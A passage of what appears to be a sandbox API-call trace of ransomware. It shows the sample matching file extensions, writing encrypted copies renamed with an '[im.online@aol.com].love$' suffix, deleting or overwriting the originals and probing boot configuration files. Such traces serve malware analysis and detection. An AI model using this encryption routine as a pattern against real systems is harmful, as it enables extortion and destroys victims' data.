returned -1 [0106.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.520] lstrlenW (lpString=".1cd") returned 4 [0106.520] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.520] lstrlenW (lpString=".jpg") returned 4 [0106.520] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.521] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0106.521] lstrlenW (lpString="sqmapi.dll") returned 10 [0106.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0106.521] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=144416) returned 1 [0106.521] CloseHandle (hObject=0x360) returned 1 [0106.521] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0106.521] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0106.522] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.522] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.522] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0106.522] GetLastError () returned 0x0 [0106.522] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x23420, lpOverlapped=0x0) returned 1 [0106.527] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x23430, lpOverlapped=0x0) returned 1 [0106.530] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.531] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xe8, lpOverlapped=0x0) returned 1 [0106.531] SetEndOfFile (hFile=0x354) returned 1 [0106.531] CloseHandle (hObject=0x354) returned 1 [0106.537] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.537] SetEndOfFile (hFile=0x360) returned 1 [0106.539] CloseHandle (hObject=0x360) returned 1 [0106.539] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0106.539] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0106.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.540] lstrlenW (lpString=".doc") returned 4 [0106.540] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.540] lstrlenW (lpString=".docx") returned 5 [0106.540] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0106.540] lstrlenW (lpString=".pdf") returned 4 [0106.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.540] lstrlenW (lpString=".xls") returned 4 [0106.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.540] lstrlenW (lpString=".xlsx") returned 5 [0106.540] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0106.540] lstrlenW (lpString=".ppt") returned 4 [0106.540] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.540] lstrlenW (lpString=".zip") returned 4 [0106.540] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.540] lstrlenW (lpString=".rar") returned 4 [0106.540] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.541] lstrlenW (lpString=".bz2") returned 4 [0106.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.541] lstrlenW (lpString=".7z") returned 3 [0106.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.541] lstrlenW (lpString=".dbf") returned 4 [0106.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.541] lstrlenW (lpString=".1cd") returned 4 [0106.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.541] lstrlenW (lpString=".jpg") returned 4 [0106.541] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.541] lstrlenW (lpString=".doc") returned 4 [0106.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.541] lstrlenW (lpString=".docx") returned 5 [0106.541] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0106.541] lstrlenW (lpString=".pdf") returned 4 [0106.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.541] lstrlenW (lpString=".xls") returned 4 [0106.541] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.541] lstrlenW (lpString=".xlsx") returned 5 [0106.541] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0106.541] lstrlenW (lpString=".ppt") returned 4 [0106.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.542] lstrlenW (lpString=".zip") returned 4 [0106.542] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.542] lstrlenW (lpString=".rar") returned 4 [0106.542] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.542] lstrlenW (lpString=".bz2") returned 4 [0106.542] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.542] lstrlenW (lpString=".7z") returned 3 [0106.542] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.542] lstrlenW (lpString=".dbf") returned 4 [0106.542] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.542] lstrlenW (lpString=".1cd") returned 4 [0106.542] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0106.542] lstrlenW (lpString=".jpg") returned 4 [0106.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.542] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0106.542] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0106.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0106.545] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5198099) returned 1 [0106.545] CloseHandle (hObject=0x360) returned 1 [0106.545] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0106.545] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.546] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[im.online@aol.com].love$")) returned 1 [0106.547] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0106.547] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc64 | out: lpNewFilePointer=0x0) returned 1 [0106.547] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc24 | out: lpNewFilePointer=0x0) returned 1 [0106.547] ReadFile (in: hFile=0x360, lpBuffer=0x38f8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1fc30, lpOverlapped=0x0 | out: lpBuffer=0x38f8058*, lpNumberOfBytesRead=0x2d1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.045] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.045] ReadFile (in: hFile=0x360, lpBuffer=0x3938058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3938058*, lpNumberOfBytesRead=0x2d1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.052] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d1fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.052] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.052] ReadFile (in: hFile=0x360, lpBuffer=0x3978058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3978058*, lpNumberOfBytesRead=0x2d1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.070] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.070] WriteFile (in: hFile=0x360, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2d1fca8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0107.943] SetEndOfFile (hFile=0x360) returned 1 [0107.943] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f53eb8 [0107.949] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc74 | out: lpNewFilePointer=0x0) returned 1 [0107.949] WriteFile (in: hFile=0x360, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2d1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.951] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc74 | out: lpNewFilePointer=0x0) returned 1 [0107.951] WriteFile (in: hFile=0x360, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2d1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.954] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc74 | out: lpNewFilePointer=0x0) returned 1 [0107.954] WriteFile (in: hFile=0x360, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2d1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.957] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f53eb8 | out: hHeap=0x4b0000) returned 1 [0107.957] CloseHandle (hObject=0x360) returned 1 [0110.180] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0110.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.180] lstrlenW (lpString=".doc") returned 4 [0110.180] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0110.180] lstrlenW (lpString=".docx") returned 5 [0110.180] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0110.180] lstrlenW (lpString=".pdf") returned 4 [0110.181] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0110.181] lstrlenW (lpString=".xls") returned 4 [0110.181] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0110.181] lstrlenW (lpString=".xlsx") returned 5 [0110.181] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0110.181] lstrlenW (lpString=".ppt") returned 4 [0110.181] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0110.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.181] lstrlenW (lpString=".zip") returned 4 [0110.181] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0110.181] lstrlenW (lpString=".rar") returned 4 [0110.181] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0110.181] lstrlenW (lpString=".bz2") returned 4 [0110.181] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0110.181] lstrlenW (lpString=".7z") returned 3 [0110.181] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0110.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.181] lstrlenW (lpString=".dbf") returned 4 [0110.181] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0110.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.181] lstrlenW (lpString=".1cd") returned 4 [0110.181] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0110.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.181] lstrlenW (lpString=".jpg") returned 4 [0110.181] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0110.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.181] lstrlenW (lpString=".doc") returned 4 [0110.182] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0110.182] lstrlenW (lpString=".docx") returned 5 [0110.182] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0110.182] lstrlenW (lpString=".pdf") returned 4 [0110.182] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0110.182] lstrlenW (lpString=".xls") returned 4 [0110.182] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0110.182] lstrlenW (lpString=".xlsx") returned 5 [0110.182] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0110.182] lstrlenW (lpString=".ppt") returned 4 [0110.182] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0110.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.182] lstrlenW (lpString=".zip") returned 4 [0110.182] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0110.182] lstrlenW (lpString=".rar") returned 4 [0110.182] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0110.182] lstrlenW (lpString=".bz2") returned 4 [0110.182] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0110.182] lstrlenW (lpString=".7z") returned 3 [0110.182] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0110.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.182] lstrlenW (lpString=".dbf") returned 4 [0110.182] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0110.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.182] lstrlenW (lpString=".1cd") returned 4 [0110.182] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0110.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0110.182] lstrlenW (lpString=".jpg") returned 4 [0110.182] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0110.183] lstrlenW (lpString="BCD") returned 3 [0110.183] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.183] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.183] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.183] lstrlenW (lpString=".doc") returned 4 [0110.183] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0110.183] lstrlenW (lpString=".docx") returned 5 [0110.183] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0110.183] lstrlenW (lpString=".pdf") returned 4 [0110.183] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0110.183] lstrlenW (lpString=".xls") returned 4 [0110.183] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0110.183] lstrlenW (lpString=".xlsx") returned 5 [0110.183] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0110.183] lstrlenW (lpString=".ppt") returned 4 [0110.183] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0110.183] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.183] lstrlenW (lpString=".zip") returned 4 [0110.183] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0110.183] lstrlenW (lpString=".rar") returned 4 [0110.183] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0110.183] lstrlenW (lpString=".bz2") returned 4 [0110.183] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString=".7z") returned 3 [0110.184] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0110.184] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.184] lstrlenW (lpString=".dbf") returned 4 [0110.184] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.184] lstrlenW (lpString=".1cd") returned 4 [0110.184] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.184] lstrlenW (lpString=".jpg") returned 4 [0110.184] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.184] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.184] lstrlenW (lpString=".doc") returned 4 [0110.184] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString=".docx") returned 5 [0110.184] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0110.184] lstrlenW (lpString=".pdf") returned 4 [0110.184] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString=".xls") returned 4 [0110.184] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString=".xlsx") returned 5 [0110.184] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0110.184] lstrlenW (lpString=".ppt") returned 4 [0110.184] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.184] lstrlenW (lpString=".zip") returned 4 [0110.184] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0110.184] lstrlenW (lpString=".rar") returned 4 [0110.184] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0110.185] lstrlenW (lpString=".bz2") returned 4 [0110.185] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0110.185] lstrlenW (lpString=".7z") returned 3 [0110.185] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0110.185] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.185] lstrlenW (lpString=".dbf") returned 4 [0110.185] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0110.185] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.185] lstrlenW (lpString=".1cd") returned 4 [0110.185] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0110.185] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0110.185] lstrlenW (lpString=".jpg") returned 4 [0110.185] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0110.185] lstrcmpiW (lpString1=".LOG1", lpString2=".love$") returned -1 [0110.185] lstrlenW (lpString="BCD.LOG1") returned 8 [0110.185] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0110.186] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=0) returned 1 [0110.186] CloseHandle (hObject=0x360) returned 1 [0110.186] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.186] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.186] lstrlenW (lpString=".doc") returned 4 [0110.186] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0110.186] lstrlenW (lpString=".docx") returned 5 [0110.186] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0110.186] lstrlenW (lpString=".pdf") returned 4 [0110.186] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0110.186] lstrlenW (lpString=".xls") returned 4 [0110.186] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0110.186] lstrlenW (lpString=".xlsx") returned 5 [0110.186] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0110.186] lstrlenW (lpString=".ppt") returned 4 [0110.186] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0110.186] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.186] lstrlenW (lpString=".zip") returned 4 [0110.186] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0110.186] lstrlenW (lpString=".rar") returned 4 [0110.186] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0110.186] lstrlenW (lpString=".bz2") returned 4 [0110.186] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0110.186] lstrlenW (lpString=".7z") returned 3 [0110.186] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0110.186] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.187] lstrlenW (lpString=".dbf") returned 4 [0110.187] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.187] lstrlenW (lpString=".1cd") returned 4 [0110.187] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.187] lstrlenW (lpString=".jpg") returned 4 [0110.187] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.187] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.187] lstrlenW (lpString=".doc") returned 4 [0110.187] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString=".docx") returned 5 [0110.187] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0110.187] lstrlenW (lpString=".pdf") returned 4 [0110.187] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString=".xls") returned 4 [0110.187] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString=".xlsx") returned 5 [0110.187] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0110.187] lstrlenW (lpString=".ppt") returned 4 [0110.187] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.187] lstrlenW (lpString=".zip") returned 4 [0110.187] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString=".rar") returned 4 [0110.187] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0110.187] lstrlenW (lpString=".bz2") returned 4 [0110.187] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0110.188] lstrlenW (lpString=".7z") returned 3 [0110.188] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0110.188] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.188] lstrlenW (lpString=".dbf") returned 4 [0110.188] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 